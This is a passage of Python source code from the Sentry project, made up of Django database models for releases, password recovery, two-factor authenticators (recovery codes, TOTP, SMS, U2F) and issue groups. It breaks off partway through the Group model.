_sha1_re = re.compile(r'^[a-f0-9]{40}$')


class Release(Model):
    """
    A release is generally created when a new version is pushed into a
    production state.
    """
    __core__ = False

    project = FlexibleForeignKey('sentry.Project')
    version = models.CharField(max_length=64)
    # ref might be the branch name being released
    ref = models.CharField(max_length=64, null=True, blank=True)
    url = models.URLField(null=True, blank=True)
    date_added = models.DateTimeField(default=timezone.now)
    date_started = models.DateTimeField(null=True, blank=True)
    date_released = models.DateTimeField(null=True, blank=True)
    # arbitrary data recorded with the release
    data = JSONField(default={})
    new_groups = BoundedPositiveIntegerField(default=0)
    # generally the release manager, or the person initiating the process
    owner = FlexibleForeignKey('sentry.User', null=True, blank=True)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_release'
        unique_together = (('project', 'version'),)

    __repr__ = sane_repr('project_id', 'version')

    @classmethod
    def get_cache_key(cls, project_id, version):
        return 'release:2:%s:%s' % (project_id, md5_text(version).hexdigest())

    @classmethod
    def get(cls, project, version):
        cache_key = cls.get_cache_key(project.id, version)

        release = cache.get(cache_key)
        if release is None:
            try:
                release = cls.objects.get(
                    project=project,
                    version=version,
                )
            except cls.DoesNotExist:
                release = -1
            cache.set(cache_key, release, 300)

        if release == -1:
            return

        return release

    @classmethod
    def get_or_create(cls, project, version, date_added):
        cache_key = cls.get_cache_key(project.id, version)

        release = cache.get(cache_key)
        if release in (None, -1):
            # TODO(dcramer): if the cache result is -1 we could attempt a
            # default create here instead of default get
            release = cls.objects.get_or_create(
                project=project,
                version=version,
                defaults={
                    'date_added': date_added,
                },
            )[0]
            cache.set(cache_key, release, 3600)

        return release

    @property
    def short_version(self):
        if _sha1_re.match(self.version):
            return self.version[:12]
        return self.version






"""
sentry.models.useroption
~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from datetime import timedelta
from django.conf import settings
from django.core.urlresolvers import reverse
from django.db import models
from django.utils import timezone

from sentry.db.models import FlexibleForeignKey, Model, sane_repr
from sentry.utils.http import absolute_uri

CHARACTERS = u'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'


class LostPasswordHash(Model):
    __core__ = False

    user = FlexibleForeignKey(settings.AUTH_USER_MODEL, unique=True)
    hash = models.CharField(max_length=32)
    date_added = models.DateTimeField(default=timezone.now)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_lostpasswordhash'

    __repr__ = sane_repr('user_id', 'hash')

    def save(self, *args, **kwargs):
        if not self.hash:
            self.set_hash()
        super(LostPasswordHash, self).save(*args, **kwargs)

    def set_hash(self):
        from django.utils.crypto import get_random_string

        self.hash = get_random_string(32, CHARACTERS)

    def is_valid(self):
        return self.date_added > timezone.now() - timedelta(hours=48)

    def get_absolute_url(self):
        return absolute_uri(reverse(
            'sentry-account-recover-confirm',
            args=[self.user.id, self.hash]
        ))

    def send_recover_mail(self):
        from sentry import options
        from sentry.http import get_server_hostname
        from sentry.utils.email import MessageBuilder

        context = {
            'user': self.user,
            'domain': get_server_hostname(),
            'url': self.get_absolute_url(),
        }
        msg = MessageBuilder(
            subject='%sPassword Recovery' % (options.get('mail.subject-prefix'),),
            template='sentry/emails/recover_account.txt',
            html_template='sentry/emails/recover_account.html',
            type='user.password_recovery',
            context=context,
        )
        msg.send_async([self.user.email])






"""
sentry.models.groupbookmark
~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from django.conf import settings
from django.db import models
from django.utils import timezone

from sentry.db.models import (
    BoundedBigIntegerField, FlexibleForeignKey, Model, BaseManager, sane_repr
)


class ProjectBookmark(Model):
    """
    Identifies a bookmark relationship between a user and an
    aggregated event (Group).
    """
    __core__ = True

    project_id = BoundedBigIntegerField(blank=True, null=True)
    user = FlexibleForeignKey(settings.AUTH_USER_MODEL)
    date_added = models.DateTimeField(default=timezone.now, null=True)

    objects = BaseManager()

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_projectbookmark'
        unique_together = (('project_id', 'user',))

    __repr__ = sane_repr('project_id', 'user_id')






"""
sentry.models.groupmeta
~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from django.db import models
from django.utils import timezone

from sentry.db.models import (
    BoundedBigIntegerField, Model, sane_repr
)


class EventMapping(Model):
    __core__ = False

    project_id = BoundedBigIntegerField()
    group_id = BoundedBigIntegerField()
    event_id = models.CharField(max_length=32)
    date_added = models.DateTimeField(default=timezone.now)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_eventmapping'
        unique_together = (('project_id', 'event_id'),)

    __repr__ = sane_repr('project_id', 'group_id', 'event_id')

    @property
    def team(self):
        return self.project.team

    # Implement a ForeignKey-like accessor for backwards compat
    def _set_group(self, group):
        self.group_id = group.id
        self._group_cache = group

    def _get_group(self):
        from sentry.models import Group
        if not hasattr(self, '_group_cache'):
            self._group_cache = Group.objects.get(id=self.group_id)
        return self._group_cache

    group = property(_get_group, _set_group)

    # Implement a ForeignKey-like accessor for backwards compat
    def _set_project(self, project):
        self.project_id = project.id
        self._project_cache = project

    def _get_project(self):
        from sentry.models import Project
        if not hasattr(self, '_project_cache'):
            self._project_cache = Project.objects.get(id=self.project_id)
        return self._project_cache

    project = property(_get_project, _set_project)






"""
sentry.models.authenticator
~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2016 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import os
import hmac
import time
import base64
import hashlib
import six

from u2flib_server import u2f
from u2flib_server import jsapi as u2f_jsapi

from cryptography.exceptions import InvalidSignature, InvalidKey

from django.db import models
from django.core.cache import cache
from django.utils import timezone
from django.utils.translation import ugettext_lazy as _
from django.utils.functional import cached_property
from django.core.urlresolvers import reverse

from sentry import options
from sentry.db.models import BaseManager, BaseModel, BoundedAutoField, \
    FlexibleForeignKey, BoundedPositiveIntegerField, UnicodePickledObjectField
from sentry.utils.decorators import classproperty
from sentry.utils.otp import generate_secret_key, TOTP
from sentry.utils.sms import send_sms, sms_available
from sentry.utils.dates import to_datetime
from sentry.utils.http import absolute_uri


class ActivationResult(object):
    type = None


class ActivationMessageResult(ActivationResult):

    def __init__(self, message, type='info'):
        assert type in ('error', 'warning', 'info')
        self.type = type
        self.message = message


class ActivationChallengeResult(ActivationResult):
    type = 'challenge'

    def __init__(self, challenge):
        self.challenge = challenge


class AuthenticatorManager(BaseManager):

    def all_interfaces_for_user(self, user, return_missing=False):
        """Returns a correctly sorted list of all interfaces the user
        has enabled.  If `return_missing` is set to `True` then all
        interfaces are returned even if not enabled.
        """
        _sort = lambda x: sorted(x, key=lambda x: (x.type == 0, x.type))

        # Collect interfaces user is enrolled in
        ifaces = [x.interface for x in Authenticator.objects.filter(
            user=user,
            type__in=[a.type for a in available_authenticators()],
        )]

        if return_missing:
            # Collect additional interfaces that the user
            # is not enrolled in
            rvm = dict(AUTHENTICATOR_INTERFACES)
            for iface in ifaces:
                rvm.pop(iface.interface_id, None)
            for iface_cls in six.itervalues(rvm):
                if iface_cls.is_available:
                    ifaces.append(iface_cls())

        return _sort(ifaces)

    def auto_add_recovery_codes(self, user, force=False):
        """This automatically adds the recovery code backup interface in
        case no backup interface is currently set for the user.  Returns
        the interface that was added.
        """
        has_authenticators = False

        # If we're not forcing, check for a backup interface already setup
        # or if it's missing, we'll need to set it.
        if not force:
            for authenticator in Authenticator.objects.filter(
                user=user,
                type__in=[a.type for a in available_authenticators()]
            ):
                iface = authenticator.interface
                if iface.is_backup_interface:
                    return
                has_authenticators = True

        if has_authenticators or force:
            interface = RecoveryCodeInterface()
            interface.enroll(user)
            return interface

    def get_interface(self, user, interface_id):
        """Looks up an interface by interface ID for a user.  If the
        interface is not available but configured a
        `Authenticator.DoesNotExist` will be raised just as if the
        authenticator was not configured at all.
        """
        interface = AUTHENTICATOR_INTERFACES.get(interface_id)
        if interface is None or not interface.is_available:
            raise LookupError('No such interface %r' % interface_id)
        try:
            return Authenticator.objects.get(
                user=user,
                type=interface.type,
            ).interface
        except Authenticator.DoesNotExist:
            return interface()

    def user_has_2fa(self, user):
        """Checks if the user has any 2FA configured.
        """
        return Authenticator.objects.filter(
            user=user,
            type__in=[a.type for a in available_authenticators(ignore_backup=True)],
        ).exists()

    def bulk_users_have_2fa(self, user_ids):
        """Checks if a list of user ids have 2FA configured.
        Returns a dict of {<id>: <has_2fa>}
        """
        authenticators = set(Authenticator.objects.filter(
            user__in=user_ids,
            type__in=[a.type for a in available_authenticators(ignore_backup=True)],
        ).distinct().values_list('user_id', flat=True))
        return {id: id in authenticators for id in user_ids}


AUTHENTICATOR_INTERFACES = {}
AUTHENTICATOR_INTERFACES_BY_TYPE = {}
AUTHENTICATOR_CHOICES = []


def register_authenticator(cls):
    AUTHENTICATOR_INTERFACES[cls.interface_id] = cls
    AUTHENTICATOR_INTERFACES_BY_TYPE[cls.type] = cls
    AUTHENTICATOR_CHOICES.append((cls.type, cls.name))
    return cls


def available_authenticators(ignore_backup=False):
    interfaces = six.itervalues(AUTHENTICATOR_INTERFACES)
    if not ignore_backup:
        return [v for v in interfaces if v.is_available]
    return [v for v in interfaces if not v.is_backup_interface and v.is_available]


class AuthenticatorInterface(object):
    type = -1
    interface_id = None
    name = None
    description = None
    is_backup_interface = False
    enroll_button = _('Enroll')
    configure_button = _('Info')
    remove_button = _('Remove')
    is_available = True
    allow_multi_enrollment = False

    def __init__(self, authenticator=None):
        if authenticator is None:
            self.authenticator = None
        else:
            self.authenticator = authenticator

    @property
    def is_enrolled(self):
        """Returns `True` if the interfaces is enrolled (eg: has an
        authenticator for a user attached).
        """
        return self.authenticator is not None

    @property
    def requires_activation(self):
        """If the interface has an activation method that needs to be
        called this returns `True`.
        """
        return self.activate.im_func is not \
            AuthenticatorInterface.activate.im_func

    @property
    def can_validate_otp(self):
        """If the interface is able to validate OTP codes then this returns
        `True`.
        """
        return self.validate_otp.im_func is not \
            AuthenticatorInterface.validate_otp.im_func

    @property
    def config(self):
        """Returns the configuration dictionary for this interface.  If
        the interface is registered with an authenticator (eg: it is
        enrolled) then the authenticator's config is returned, otherwise
        a new config is used on first access.
        """
        if self.authenticator is not None:
            return self.authenticator.config
        rv = getattr(self, '_unbound_config', None)
        if rv is None:
            # Prevent bad recursion if stuff wants to access the default
            # config
            self._unbound_config = {}
            rv = self._unbound_config = self.generate_new_config()
        return rv

    def generate_new_config(self):
        """This method is invoked if a new config is required."""
        return {}

    def activate(self, request):
        """If an authenticator overrides this then the method is called
        when the dialog for authentication is brought up.  The returned string
        is then rendered in the UI.
        """
        # This method needs to be empty for the default
        # `requires_activation` property to make sense.
        pass

    def enroll(self, user):
        """Invoked to enroll a user for this interface.  If already enrolled
        an error is raised.
        """
        if self.authenticator is None:
            self.authenticator = Authenticator.objects.create(
                user=user,
                type=self.type,
                config=self.config,
            )
        else:
            if not self.allow_multi_enrollment:
                raise Authenticator.AlreadyEnrolled()
            self.authenticator.config = self.config
            self.authenticator.save()

    def validate_otp(self, otp):
        """This method is invoked for an OTP response and has to return
        `True` or `False` based on the validity of the OTP response.  Note
        that this can be called with otp responses from other interfaces.
        """
        return False

    def validate_response(self, request, challenge, response):
        """If the activation generates a challenge that needs to be
        responded to this validates the response for that challenge.  This
        is only ever called for challenges emitted by the activation of this
        activation interface.
        """
        return False


@register_authenticator
class RecoveryCodeInterface(AuthenticatorInterface):
    """A backup interface that is based on static recovery codes."""
    type = 0
    interface_id = 'recovery'
    name = _('Recovery Codes')
    description = _('Recovery codes can be used to access your account in the '
                    'event you lose access to your device and cannot '
                    'receive two-factor authentication codes.')
    enroll_button = _('Activate')
    configure_button = _('View Codes')
    remove_button = None
    is_backup_interface = True

    def __init__(self, authenticator=None):
        AuthenticatorInterface.__init__(self, authenticator)

    def get_codes(self):
        rv = []
        if self.is_enrolled:
            h = hmac.new(
                key=self.config['salt'].encode('utf-8'),
                msg=None,
                digestmod=hashlib.sha1,
            )
            for x in range(10):
                h.update('%s|' % x)
                rv.append(base64.b32encode(h.digest())[:8])
        return rv

    def generate_new_config(self):
        if six.PY3:
            salt = int(os.urandom(16).decode('utf-8'), 16)
        else:
            salt = os.urandom(16).encode('hex')

        return {
            'salt': salt,
            'used': 0,
        }

    def regenerate_codes(self, save=True):
        if not self.is_enrolled:
            raise RuntimeError('Interface is not enrolled')
        self.config.update(self.generate_new_config())
        if save:
            self.authenticator.save()

    def validate_otp(self, otp):
        mask = self.config['used']
        code = otp.strip().replace('-', '').upper()
        for idx, ref_code in enumerate(self.get_codes()):
            if code == ref_code:
                if mask & (1 << idx):
                    break
                self.config['used'] = mask | (1 << idx)
                return True
        return False

    def get_unused_codes(self):
        mask = self.config['used']
        rv = []
        for idx, code in enumerate(self.get_codes()):
            if not mask & (1 << idx):
                rv.append(code[:4] + '-' + code[4:])
        return rv


class OtpMixin(object):

    def generate_new_config(self):
        return {
            'secret': generate_secret_key(),
        }

    def _get_secret(self):
        return self.config['secret']

    def _set_secret(self, secret):
        self.config['secret'] = secret

    secret = property(_get_secret, _set_secret)
    del _get_secret, _set_secret

    def make_otp(self):
        return TOTP(self.secret)

    def _get_otp_counter_cache_key(self, counter):
        if self.authenticator is not None:
            return 'used-otp-counters:%s:%s' % (
                self.authenticator.user_id,
                counter,
            )

    def check_otp_counter(self, counter):
        # OTP uses an internal counter that increments every 30 seconds.
        # A hash function generates a six digit code based on the counter
        # and a secret key.  If the generated PIN was used it is marked in
        # redis as used by remembering which counter it was generated
        # from.  This is what we check for here.
        cache_key = self._get_otp_counter_cache_key(counter)
        return cache_key is None or cache.get(cache_key) != '1'

    def mark_otp_counter_used(self, counter):
        cache_key = self._get_otp_counter_cache_key(counter)
        if cache_key is not None:
            # Mark us used for three windows
            cache.set(cache_key, '1', timeout=120)

    def validate_otp(self, otp):
        otp = otp.strip().replace('-', '').replace(' ', '')
        used_counter = self.make_otp().verify(
            otp, return_counter=True,
            check_counter_func=self.check_otp_counter)
        if used_counter is not None:
            self.mark_otp_counter_used(used_counter)
            return True
        return False


@register_authenticator
class TotpInterface(OtpMixin, AuthenticatorInterface):
    """This interface uses TOTP with an authenticator."""
    type = 1
    interface_id = 'totp'
    name = _('Authenticator App')
    description = _('An authenticator application that supports TOTP (like '
                    'Google Authenticator or 1Password) can be used to '
                    'conveniently secure your account.  A new token is '
                    'generated every 30 seconds.')

    def get_provision_qrcode(self, user, issuer=None):
        return self.make_otp().get_provision_qrcode(
            user, issuer=issuer)


@register_authenticator
class SmsInterface(OtpMixin, AuthenticatorInterface):
    """This interface sends OTP codes via text messages to the user."""
    type = 2
    interface_id = 'sms'
    name = _('Text Message')
    description = _('This authenticator sends you text messages for '
                    'verification.  It\'s useful as a backup method '
                    'or when you do not have a phone that supports '
                    'an authenticator application.')
    code_ttl = 45

    @classproperty
    def is_available(cls):
        return sms_available()

    def generate_new_config(self):
        config = super(SmsInterface, self).generate_new_config()
        config['phone_number'] = None
        return config

    def make_otp(self):
        return TOTP(self.config['secret'], digits=6, interval=self.code_ttl,
                    default_window=1)

    def _get_phone_number(self):
        return self.config['phone_number']

    def _set_phone_number(self, value):
        self.config['phone_number'] = value

    phone_number = property(_get_phone_number, _set_phone_number)
    del _get_phone_number, _set_phone_number

    def activate(self, request):
        if self.send_text(request=request):
            return ActivationMessageResult(
                _('A confirmation code was sent to your phone. '
                  'It is valid for %d seconds.') % self.code_ttl)
        return ActivationMessageResult(
            _('Error: we failed to send a text message to you. You '
              'can try again later or sign in with a different method.'),
            type='error')

    def send_text(self, for_enrollment=False, request=None):
        ctx = {'code': self.make_otp().generate_otp()}

        if for_enrollment:
            text = _('%(code)s is your Sentry two-factor enrollment code. '
                     'You are about to set up text message based two-factor '
                     'authentication.')
        else:
            text = _('%(code)s is your Sentry authentication code.')

        if request is not None:
            text = u'%s\n\n%s' % (text, _('Requested from %(ip)s'))
            ctx['ip'] = request.META['REMOTE_ADDR']

        return send_sms(text % ctx, to=self.phone_number)


@register_authenticator
class U2fInterface(AuthenticatorInterface):
    type = 3
    interface_id = 'u2f'
    configure_button = _('Configure')
    name = _('U2F (Universal 2nd Factor)')
    description = _('Authenticate with a U2F hardware device. This is a '
                    'device like a Yubikey or something similar which '
                    'supports FIDO\'s U2F specification. This also requires '
                    'a browser which supports this system (like Google '
                    'Chrome).')
    allow_multi_enrollment = True

    @classproperty
    def u2f_app_id(cls):
        rv = options.get('u2f.app-id')
        return rv or absolute_uri(reverse('sentry-u2f-app-id'))

    @classproperty
    def u2f_facets(cls):
        facets = options.get('u2f.facets')
        if not facets:
            return [options.get('system.url-prefix')]
        return [x.rstrip('/') for x in facets]

    @classproperty
    def is_available(cls):
        url_prefix = options.get('system.url-prefix')
        return url_prefix and url_prefix.startswith('https://')

    def generate_new_config(self):
        return {}

    def start_enrollment(self):
        return dict(u2f.start_register(self.u2f_app_id,
                                       self.get_u2f_devices()))

    def get_u2f_devices(self):
        rv = []
        for data in self.config.get('devices') or ():
            rv.append(u2f_jsapi.DeviceRegistration(data['binding']))
        return rv

    def remove_u2f_device(self, key):
        """Removes a U2F device but never removes the last one.  This returns
        False if the last device would be removed.
        """
        devices = [x for x in self.config.get('devices') or ()
                   if x['binding']['keyHandle'] != key]
        if devices:
            self.config['devices'] = devices
            return True
        return False

    def get_registered_devices(self):
        rv = []
        for device in self.config.get('devices') or ():
            rv.append({
                'timestamp': to_datetime(device['ts']),
                'name': device['name'],
                'key_handle': device['binding']['keyHandle'],
                'app_id': device['binding']['appId'],
            })
        rv.sort(key=lambda x: x['name'])
        return rv

    def try_enroll(self, enrollment_data, response_data, device_name=None):
        binding, cert = u2f.complete_register(enrollment_data, response_data,
                                              self.u2f_facets)
        devices = self.config.setdefault('devices', [])
        devices.append({
            'name': device_name or 'Security Key',
            'ts': int(time.time()),
            'binding': dict(binding),
        })

    def activate(self, request):
        return ActivationChallengeResult(
            challenge=dict(u2f.start_authenticate(self.get_u2f_devices())),
        )

    def validate_response(self, request, challenge, response):
        try:
            counter, touch = u2f.verify_authenticate(self.get_u2f_devices(),
                                                     challenge, response,
                                                     self.u2f_facets)
        except (InvalidSignature, InvalidKey, StopIteration):
            return False
        return True


class Authenticator(BaseModel):
    __core__ = True

    id = BoundedAutoField(primary_key=True)
    user = FlexibleForeignKey('sentry.User', db_index=True)
    created_at = models.DateTimeField(_('created at'), default=timezone.now)
    last_used_at = models.DateTimeField(_('last used at'), null=True)
    type = BoundedPositiveIntegerField(choices=AUTHENTICATOR_CHOICES)
    config = UnicodePickledObjectField()

    objects = AuthenticatorManager()

    class AlreadyEnrolled(Exception):
        pass

    class Meta:
        app_label = 'sentry'
        db_table = 'auth_authenticator'
        verbose_name = _('authenticator')
        verbose_name_plural = _('authenticators')

    @cached_property
    def interface(self):
        return AUTHENTICATOR_INTERFACES_BY_TYPE[self.type](self)

    def mark_used(self, save=True):
        self.last_used_at = timezone.now()
        if save:
            self.save()

    def __repr__(self):
        return '<Authenticator user=%r interface=%r>' % (
            self.user.email,
            self.interface.interface_id,
        )






from __future__ import absolute_import

from django.db import models
from django.utils import timezone

from sentry.db.models import (
    Model, BoundedBigIntegerField, sane_repr
)


class ProjectPlatform(Model):
    """
    Tracks usage of a platform for a given project.
    """
    __core__ = False

    project_id = BoundedBigIntegerField()
    platform = models.CharField(max_length=64)
    date_added = models.DateTimeField(default=timezone.now)
    last_seen = models.DateTimeField(default=timezone.now)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_projectplatform'
        unique_together = (('project_id', 'platform'),)

    __repr__ = sane_repr('project_id', 'platform')






"""
sentry.models.grouphash
~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from django.db import models

from sentry.db.models import FlexibleForeignKey, Model


class GroupHash(Model):
    __core__ = False

    project = FlexibleForeignKey('sentry.Project', null=True)
    hash = models.CharField(max_length=32)
    group = FlexibleForeignKey('sentry.Group', null=True)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_grouphash'
        unique_together = (('project', 'hash'),)






"""
sentry.models.groupseen
~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from django.conf import settings
from django.db import models
from django.utils import timezone

from sentry.db.models import FlexibleForeignKey, Model, sane_repr


class GroupSeen(Model):
    """
    Track when a group is last seen by a user.
    """
    __core__ = False

    project = FlexibleForeignKey('sentry.Project')
    group = FlexibleForeignKey('sentry.Group')
    user = FlexibleForeignKey(settings.AUTH_USER_MODEL, db_index=False)
    last_seen = models.DateTimeField(default=timezone.now)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_groupseen'
        unique_together = (('user', 'group'),)

    __repr__ = sane_repr('project_id', 'group_id', 'user_id', 'last_seen')






"""
sentry.models.group
~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import logging
import math
import re
import six
import time
import warnings

from base64 import b16decode, b16encode
from datetime import timedelta
from django.core.urlresolvers import reverse
from django.db import models
from django.utils import timezone
from django.utils.translation import ugettext_lazy as _

from sentry.app import buffer
from sentry.constants import (
    DEFAULT_LOGGER_NAME, EVENT_ORDERING_KEY, LOG_LEVELS, MAX_CULPRIT_LENGTH
)
from sentry.db.models import (
    BaseManager, BoundedBigIntegerField, BoundedIntegerField,
    BoundedPositiveIntegerField, FlexibleForeignKey, GzippedDictField, Model,
    sane_repr
)
from sentry.utils.http import absolute_uri
from sentry.utils.numbers import base32_decode, base32_encode
from sentry.utils.strings import strip, truncatechars

logger = logging.getLogger(__name__)

_short_id_re = re.compile(r'^(.*?)(?:[\s_-])([A-Za-z0-9-._]+)$')


def looks_like_short_id(value):
    return _short_id_re.match((value or '').strip()) is not None


# TODO(dcramer): pull in enum library
class GroupStatus(object):
    UNRESOLVED = 0
    RESOLVED = 1
    MUTED = 2
    PENDING_DELETION = 3
    DELETION_IN_PROGRESS = 4
    PENDING_MERGE = 5


def get_group_with_redirect(id, queryset=None):
    """
    Retrieve a group by ID, checking the redirect table if the requested group
    does not exist. Returns a two-tuple of ``(object, redirected)``.
    """
    if queryset is None:
        queryset = Group.objects.all()
        # When not passing a queryset, we want to read from cache
        getter = Group.objects.get_from_cache
    else:
        getter = queryset.get

    try:
        return getter(id=id), False
    except Group.DoesNotExist as error:
        from sentry.models import GroupRedirect
        qs = GroupRedirect.objects.filter(previous_group_id=id).values_list('group_id', flat=True)
        try:
            return queryset.get(id=qs), True
        except Group.DoesNotExist:
            raise error  # raise original `DoesNotExist`


class GroupManager(BaseManager):
    use_for_related_fields = True

    def by_qualified_short_id(self, org, short_id):
        match = _short_id_re.match(short_id.strip())
        if match is None:
            raise Group.DoesNotExist()
        callsign, id = match.groups()
        callsign = callsign.lower()
        try:
            short_id = base32_decode(id)
            # We need to make sure the short id is not overflowing the
            # field's max or the lookup will fail with an assertion error.
            max_id = Group._meta.get_field_by_name('short_id')[0].MAX_VALUE
            if short_id > max_id:
                raise ValueError()
        except ValueError:
            raise Group.DoesNotExist()
        return Group.objects.get(
            project__organization=org,
            project__slug=callsign,
            short_id=short_id,
        )

    def from_kwargs(self, project, **kwargs):
        from sentry.event_manager import EventManager

        manager = EventManager(kwargs)
        manager.normalize()
        return manager.save(project)

    def add_tags(self, group, tags):
        from sentry.models import TagValue, GroupTagValue

        project_id = group.project_id
        date = group.last_seen

        for tag_item in tags:
            if len(tag_item) == 2:
                (key, value), data = tag_item, None
            else:
                key, value, data = tag_item

            buffer.incr(TagValue, {
                'times_seen': 1,
            }, {
                'project_id': project_id,
                'key': key,
                'value': value,
            }, {
                'last_seen': date,
                'data': data,
            })

            buffer.incr(GroupTagValue, {
                'times_seen': 1,
            }, {
                'group_id': group.id,
                'key': key,
                'value': value,
            }, {
                'project': project_id,
                'last_seen': date,
            })


class Group(Model):
    """
    Aggregated message which summarizes a set of Events.
    """
    __core__ = False

    project = FlexibleForeignKey('sentry.Project', null=True)
    logger = models.CharField(
        max_length=64, blank=True, default=DEFAULT_LOGGER_NAME, db_index=True)
    level = BoundedPositiveIntegerField(
        choices=LOG_LEVELS.items(), default=logging.ERROR, blank=True,
        db_index=True)
    message = models.TextField()
    culprit = models.CharField(
        max_length=MAX_CULPRIT_LENGTH, blank=True, null=True,
        db_column='view')
    num_comments = BoundedPositiveIntegerField(default=0, null=True)
    platform = models.CharField(max_length=64, null=True)
    status = BoundedPositiveIntegerField(default=0, choices=(
        (GroupStatus.UNRESOLVED, _('Unresolved')),
        (GroupStatus.RESOLVED, _('Resolved')),
        (GroupStatus.MUTED, _('Muted')),
    ), db_index=True)
    times_seen = BoundedPositiveIntegerField(default=1, db_index=True)
    last_seen = models.DateTimeField(default=timezone.now, db_index=True)
    first_seen = models.DateTimeField(default=timezone.now, db_index=True)
    first_release = FlexibleForeignKey('sentry.Release', null=True,
                                       on_delete=models.PROTECT)
    resolved_at = models.DateTimeField(null=True, db_index=True)
    # active_at should be the same as first_seen by default
    active_at = models.DateTimeField(null=True, db_index=True)
    time_spent_total = BoundedIntegerField(default=0)
    time_spent_count = BoundedIntegerField(default=0)
    score = BoundedIntegerField(default=0)
    is_public = models.NullBooleanField(default=False, null=True)
    data = GzippedDictField(blank=True, null=True)
    short_id = BoundedBigIntegerField(null=True)

    objects = GroupManager()

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_groupedmessage'
        verbose_name_plural = _('grouped messages')
        verbose_name = _('grouped message')
        permissions = (
            ("can_view", "Can view"),
        )
        index_together = (
            ('project', 'first_release'),
        )
        unique_together = (
            ('project', 'short_id'),
        )

    __repr__ = sane_repr('project_id')

    def __unicode__(self):
        return "(%s) %s" % (self.times_seen, self.error())

    def save(self, *args, **kwargs):
        if not self.last_seen:
            self.last_seen = timezone.now()
        if not self.first_seen:
            self.first_seen = self.last_seen
        if not self.active_at:
            self.active_at = self.first_seen
        # We limit what we store for the message body
        self.message = strip(self.message)
        if self.message:
            self.message = truncatechars(self.message.splitlines()[0], 255)
        super(Group, self).save(*args, **kwargs)

    def get_absolute_url(self):
        return absolute_uri(reverse('sentry-group', args=[
            self.organization.slug, self.project.slug, self.id]))

    @property
    def qualified_short_id(self):
        if self.short_id is not None:
            return '%s-%s' % (
                self.project.slug.upper(),
                base32_encode(self.short_id),
            )

    @property
    def event_set(self):
        from sentry.models import Event
        return Event.objects.filter(group_id=self.id)

    def is_over_resolve_age(self):
        resolve_age = self.project.get_option('sentry:resolve_age', None)
        if not resolve_age:
            return False
        return self.last_seen < timezone.now() - timedelta(hours=int(resolve_age))

    def is_muted(self):
        return self.get_status() == GroupStatus.MUTED

    def is_resolved(self):
        return self.get_status() == GroupStatus.RESOLVED

    def get_status(self):
        # XXX(dcramer): GroupSerializer reimplements this logic
        from sentry.models import GroupSnooze

        if self.status == GroupStatus.MUTED:
            try:
                snooze = GroupSnooze.objects.get(group=self)
            except GroupSnooze.DoesNotExist:
                pass
            else:
                # XXX(dcramer): if the snooze row exists then we need
                # to confirm its still valid
                if snooze.until > timezone.now():
                    return GroupStatus.MUTED
                else:
                    return GroupStatus.UNRESOLVED

        if self.status == GroupStatus.UNRESOLVED and self.is_over_resolve_age():
            return GroupStatus.RESOLVED
        return self.status

    def get_share_id(self):
        return b16encode(
            ('{}.{}'.format(self.project_id, self.id)).encode('utf-8')
        ).lower().decode('utf-8')

    @classmethod
    def from_share_id(cls, share_id):
        if not share_id:
            raise cls.DoesNotExist
        try:
            project_id, group_id = b16decode(share_id.upper()).decode('utf-8').split('.')
        except (ValueError, TypeError):
            raise cls.DoesNotExist
        if not (project_id.isdigit() and group_id.isdigit()):
            raise cls.DoesNotExist
        return cls.objects.get(project=project_id, id=group_id)

    def get_score(self):
        return int(math.log(self.times_seen) * 600 + float(time.mktime(self.last_seen.timetuple())))

    def get_latest_event(self):
        from sentry.models import Event

        if not hasattr(self, '_latest_event'):
            latest_events = sorted(
                Event.objects.filter(
                    group_id=self.id,
                ).order_by('-datetime')[0:5],
                key=EVENT_ORDERING_KEY,
                reverse=True,
            )
            try:
                self._latest_event = latest_events[0]
            except IndexError:
                self._latest_event = None
        return self._latest_event

    def get_oldest_event(self):
        from sentry.models import Event

        if not hasattr(self, '_oldest_event'):
            oldest_events = sorted(
                Event.objects.filter(
                    group_id=self.id,
                ).order_by('datetime')[0:5],
                key=EVENT_ORDERING_KEY,
            )
            try:
                self._oldest_event = oldest_events[0]
            except IndexError:
                self._oldest_event = None
        return self._oldest_event

    def get_unique_tags(self, tag, since=None, order_by='-times_seen'):
        # TODO(dcramer): this has zero test coverage and is a critical path
        from sentry.models import GroupTagValue

        queryset = GroupTagValue.objects.filter(
            group=self,
            key=tag,
        )
        if since:
            queryset = queryset.filter(last_seen__gte=since)
        return queryset.values_list(
            'value',
            'times_seen',
            'first_seen',
            'last_seen',
        ).order_by(order_by)

    def get_tags(self, with_internal=True):
        from sentry.models import GroupTagKey, TagKey
        if not hasattr(self, '_tag_cache'):
            group_tags = GroupTagKey.objects.filter(
                group=self,
                project=self.project,
            )
            if not with_internal:
                group_tags = group_tags.exclude(key__startswith='sentry:')

            group_tags = list(group_tags.values_list('key', flat=True))

            tag_keys = dict(
                (t.key, t)
                for t in TagKey.objects.filter(
